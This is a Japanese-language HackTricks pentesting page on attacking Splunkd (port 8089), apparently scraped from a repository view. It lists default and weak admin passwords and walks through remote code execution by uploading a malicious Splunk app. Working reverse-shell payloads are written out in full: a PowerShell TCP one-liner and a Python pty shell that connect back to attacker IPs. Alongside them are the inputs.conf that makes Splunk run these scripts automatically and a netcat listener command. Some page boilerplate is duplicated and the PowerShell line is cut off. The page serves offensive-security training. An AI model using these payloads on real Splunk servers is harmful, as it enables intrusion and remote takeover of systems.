hacktricks/network-services-pentesting/8089-splunkd.md

10 KiB
Raw Blame History

8089 - Splunkdのペンテスト

**htARTEHackTricks AWS Red Team Expert** **htARTEHackTricks AWS Red Team Expert**を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法

基本情報

Splunkはログ分析ツールであり、データの収集、分析、可視化において重要な役割を果たします。最初の目的はSIEMセキュリティ情報およびイベント管理ツールとしてではなかったが、セキュリティ監視ビジネス分析の領域で人気を博しています。

Splunkの展開はしばしば機密データの保存に利用され、システムを侵害することに成功すれば、潜在的な攻撃者にとって貴重な情報源となり得ます。 デフォルトポート: 8089

PORT     STATE SERVICE VERSION
8089/tcp open  http    Splunkd httpd

{% hint style="info" %} Splunkウェブサーバーはデフォルトでポート8000で実行されます。 {% endhint %}

列挙

無料版

Splunk Enterpriseトライアルは60日後に無料版に変換され、認証が不要です。システム管理者がSplunkのトライアルをインストールして試すことは一般的であり、その後忘れ去られることがあります。これにより、認証のない無料版に自動的に変換され、環境にセキュリティホールが導入されます。予算の制約により一部の組織が無料版を選択することがあり、ユーザー/ロール管理の重要性を十分に理解していない可能性があります。

デフォルトの資格情報

古いバージョンのSplunkでは、デフォルトの資格情報は**admin:changeme**であり、ログインページに便利に表示されています。
しかし、最新バージョンのSplunkでは、インストールプロセス中に資格情報が設定されます。デフォルトの資格情報が機能しない場合は、adminWelcomeWelcome1Password123などの一般的な弱いパスワードをチェックする価値があります。

情報の取得

Splunkにログインすると、データを閲覧したり、レポートを実行したり、ダッシュボードを作成したり、Splunkbaseライブラリからアプリケーションをインストールしたり、カスタムアプリケーションをインストールしたりできます。
コードも実行できます: Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、コードを実行するための複数の方法があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。

また、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。

Shodan

  • Splunkビルド

RCE

カスタムアプリケーションの作成

カスタムアプリケーションはPython、Batch、Bash、またはPowerShellスクリプトを実行できます。
SplunkにはPythonがインストールされていることに注意してください。そのため、WindowsシステムでもPythonコードを実行できます。

こちらのSplunkパッケージを使用して、手助けを受けることができます。このリポジトリの**bin**ディレクトリには、PythonPowerShellの例があります。これをステップバイステップで進めていきましょう。

これを達成するためには、以下のディレクトリ構造を使用してカスタムSplunkアプリケーションを作成する必要があります:

tree splunk_shell/

splunk_shell/
├── bin
└── default

binディレクトリには、実行するスクリプト(この場合はPowerShellリバースシェル)が含まれ、デフォルトディレクトリにはinputs.confファイルがあります。リバースシェルはPowerShellのワンライナーになります:

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(

The inputs.confファイルは、Splunkにどのスクリプトを実行するかとその他の条件を伝えます。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位であり、この設定が存在する場合にのみ、入力スクリプトが実行されます。

cat inputs.conf

[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell

[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10

次に、アプリケーションが展開されるときに実行され、PowerShellのワンライナーを実行する.batファイルが必要です。

次のステップは、Install app from fileを選択し、アプリケーションをアップロードすることです。

悪意のあるカスタムアプリをアップロードする前に、Netcatまたはsocatを使用してリスナーを開始しましょう。

sudo nc -lnvp 443

listening on [any] 443 ...

Upload app ページで、Browse をクリックし、先に作成した tarball を選択して Upload をクリックします。アプリケーションをアップロードするとすぐに、アプリケーションのステータスが自動的に Enabled に切り替わり、逆シェルが受信されます

Linux

Linux ホストを扱っている場合、カスタムの悪意のあるアプリを作成して tarball をアップロードする前に、rev.py Python スクリプトを編集する必要があります。プロセスの残りの部分は同じであり、Netcat リスナーで逆シェル接続を取得し、問題なく進行します。

import sys,socket,os,pty

ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')

RCE & 特権昇格

以下のページでは、このサービスがどのように悪用されて特権昇格や持続性の獲得に利用されるかについて説明があります:

{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %} splunk-lpe-and-persistence.md {% endcontent-ref %}

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!

HackTricks をサポートする他の方法: